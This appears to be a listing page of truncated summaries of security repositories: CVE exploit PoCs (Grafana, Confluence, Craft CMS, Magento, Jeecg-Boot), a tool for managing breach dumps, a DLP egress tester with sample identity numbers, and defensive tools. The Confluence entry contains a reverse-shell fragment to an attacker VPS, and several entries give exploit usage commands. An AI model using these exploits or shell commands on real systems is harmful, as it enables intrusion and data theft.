egression

描述 EGRESSION 是一款工具，可即时显示从任何给定网络上传敏感数据的难易程度。 它从一个包含以下内容的敏感文件开始，该文件以明文形式存储在本地。此文件用于通过尝试向外连接并使用各种技术上传此文件来测试网络的出口 / DLP 控制。 //美国社保号 567-24-4901 //信用卡号 4111111111111111 5105105105105100 4222222222222 //出生日期 12.12.94 12/12/1994 12/12/94 1994年7月12日 //加拿大社会保险号（SIN） 202 275 186 //英国国家保险号码（NINO） ST 68 86 8...

grafanaExp

grafanaExp 利用grafana CVE-2021-43798任意文件读漏洞，自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件，并输出datasourrce信息。 使用方法 提供exp和decode功能。 ➜ ./grafanaExp -h NAME: grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read. USAGE: grafanaExp global options command command options arguments... AUTHOR:...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 Microsoft Edge Chromium-based Vulnerabilidad de Divulgación de Información Esta es una vulnerabilidad en Microsoft Edge Chromium-based. El atacante pudo engañar al usuario para que revelara información sensible sin su conocimiento. Poc: PoC...

Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server 本地文件包含漏洞：CVE-2022-21371 受影响版本：12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0 描述：Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（Web Container 组件）存在本地文件包含漏洞。该漏洞易于利用，允许未经过身份验证的攻击者通过 HTTP 网络访问攻击 Oracle WebLogic Server。 成功利用此漏洞后，攻击者可完全访问 Oracl...

steamer

Steamer Import, manage, search public dumps. Do you have massive amounts of CSV, .sql, .txt, that have credentials, passwords, and hashes inside? Use Steamer to manage them! Load them into a MongoDB database, and either use the console directly, or just use the handy web interface complete with...

steamer

Steamer 导入、管理、搜索公开数据泄露文件。 你是否拥有大量包含凭据、密码和哈希值的 CSV、.sql、.txt 文件？ 使用 Steamer 来管理它们！将数据加载到 MongoDB 数据库中，然后可以直接使用控制台，或者借助便捷的 Web 界面（支持 JSON 导出）进行操作。 安装 安装 Go 和 MongoDB。 依赖项通过 go.mod 中的 Go 模块进行管理。因此，如果找不到某个模块，Go 会自动下载所需的依赖项。 此时，建议先导入一个较为简单、无需索引即可导入的数据泄露文件。 go run ./importers/adobe.go 现在我们需要为 MongoDB...

EUVD-2026-94757

In Brocade SANnav before 3.0.0a, an SQL Injection vulnerability in various external API inventories have a vulnerability that allows an authenticated attacker to inject malicious data into some of the REST API -query parameters...

tabi

高级示例 本示例演示如何使用 tabi 模块来检测从 BGP 收集器看到的所有可能的 BGP 劫持。 环境要求 警告 : 在尝试此示例之前，请确保你的计算机上至少有 2GB 的可用内存 安装步骤已在主 README 中说明。 MRT 解析器 本示例兼容 mabo 和 bgpreader。 检测劫持 python detecthijacks.py -c rrc01 -i mabo \ --rpki-roa-file roa.csv \ --irr-ro-file routes.csv \ --irr-mnt-file maintainers.csv \ --irr-org-file...

KaliIntelligenceSuite

Kali Intelligence Suite Kali Intelligence Suite（KIS）是一款面向渗透测试人员的情报收集和数据挖掘工具。它旨在通过以下方式自动、快速、集中且全面地收集情报： 执行 Kali Linux 工具（例如 dnsrecon、gobuster、hydra、nmap 等） 查询公开可用的 API（例如 Censys.io、Haveibeenpwned.com、Hunter.io、Securitytrails.com、Shodan.io 等） 将数据发送至第三方应用，如 Burp Suite Professional 或 Aquatone...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 预认证 RCE Craft CMS 中的预认证远程代码执行 发现与开发 byMohammed Idrees Banyamer 📌 概述 CVE-2025-32432 是一个严重的预认证远程代码执行（RCE）漏洞，影响 Craft CMS 的多个版本。通过将未清理的会话数据存储与不安全的反序列化小工具链接起来，未经身份验证的攻击者可以在远程服务器上执行任意命令。 🎯 受影响版本 分支| 受影响范围 ---|--- Craft CMS 3.x| ≤ 3.9.14 Craft CMS 4.x| ≤ 4.14.14 Craft CMS...

XposedOrNot

XposedOrNot XposedOrNot XoN 工具用于搜索一个由约8.5亿个实时暴露密码组成的聚合库。使用此类泄露密码对个人账户安全有害。 截图 什么是 Xposed Passwords？ 本项目的主要目的是为公众提供一个免费平台，用于检查其密码是否已被暴露和泄露。 这个庞大的密码集合是来自全球各种数据泄露事件中真实密码的累积。密码来源于诸如 Collection 1、Yahoo 等泄露事件。此外，密码还常通过 pastebin.com 上的"paste"暴露。我们已经收集了超过 40,000 个此类暴露，并将其添加到这个巨大的列表中。 整理后的密码使用高度安全的哈希算法...

ACE

自动收集与丰富 自动收集与丰富（ACE）平台是一套供威胁猎手使用的工具，用于从网络中的多个端点收集数据并自动进行数据丰富。数据通过在每个计算机上运行脚本收集，无需在目标上安装任何软件。ACE 支持从 Windows、macOS 和 Linux 主机收集数据。 ACE 旨在通过提供凭据管理、调度、集中式脚本管理和远程文件下载，简化跨环境远程收集数据的流程。ACE 旨在通过收集和丰富数据来补充 SIEM；最终分析最适合使用 Splunk、ELK 等 SIEM 工具或分析人员偏好的工具。 为什么使用 ACE？ ACE 源于在常见限制条件下执行入侵评估的需求： 无法在目标主机上安装专用软件代理。...

Magento-CVE-2019-7139-SQLi-PoC

CVE-2019-7139 PoC: Inyección SQL en Magento Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2019-7139 PRODSECBUG-2198, una vulnerabilidad de inyección SQL no autenticada en Magento, descubierta por Charles Fol de Ambionics Security. Detalles de la vulnerabilidad ID de CVE ...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1 使用...

external_zlib_4.4_CVE-2018-25032

ZLIB 数据压缩库 zlib 1.2.7 是一个通用的数据压缩库。所有代码都是线程安全的。zlib 库使用的数据格式由 RFC（请求评论）1950 到 1952 在以下文件中描述： http://tools.ietf.org/html/rfc1950（zlib 格式），rfc1951（deflate 格式）和 rfc1952（gzip 格式）。 压缩库的所有功能都在文件 zlib.h 中说明（欢迎志愿者编写手册页，请联系 [email protected]）。库的使用示例在文件 test/example.c 中给出，该文件也测试库是否正常工作。另一个示例在文件...

lazywarden

Secure, Automated, and Multi-Cloud Bitwarden Backup and Import System Lazywarden is a Python automation tool designed to Backup and Restore data from your vault, including Bitwarden attachments. It allows you to upload backups to multiple cloud storage services and receive notifications across...

CVE-2025-32421

CVE-2025-32421 Eclipse 技术实验 针对 Next.js 15.0.4 中 CVE-2025-32421 Eclipse 技术的全面演示——一种绕过原始 CVE-2024-46982 补丁的复杂竞态条件攻击。 警告——仅供教育用途 本实验专为以下目的设计： 安全研究与教育 漏洞评估培训 理解攻击向量 提升安全意识 请勿用于： 对非自有系统进行未授权测试 恶意攻击或利用 生产环境 Eclipse 技术概述 Eclipse 技术利用了 Next.js 15.0.4 中 Promise 批处理器机制的竞态条件，允许攻击者在不同请求间共享缓存结果，泄漏本应保密的敏感服务端数据...

golddigger

Gold Digger 搜索文件中的“黄金” Gold Digger 是一个简单的工具，用于递归地在文件中快速发现敏感信息。最初是为了在渗透测试期间快速检查获取的文件而编写的。 安装 Gold Digger 需要 Python3。 virtualenv -p python3 . source bin/activate python dig.py --help 使用 usage: dig.py -h -e EXCLUDE -g GOLD -d DIRECTORY -r RECURSIVE -l LOG optional arguments: -h, --help 显示此帮助信息并退出 -e...

maldrolyzer

maldrolyzer 从 Android 恶意软件中提取“可操作”数据（C&C、电话号码等）的简单框架。 安装 在开始使用此项目之前，你需要安装以下软件包： Androguard（git clone https://github.com/androguard/androguard; cd androguard; sudo python setup.py install） PyCrypto（easyinstall pycrypto） pyelftools（easyinstall pyelftools） yara（easyinstall yara） 架构...

CVE-2023-1454

CVE-2023-1454 jmreport/qurestSql 未授权SQL注入批量扫描poc Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台，最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。 工具利用 python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试 python3 CVE-2023-1454-scan.py -f url.txt 批量检测 扫描结束后会在当前目录生成存在漏洞url的vuln.txt poc： exp：...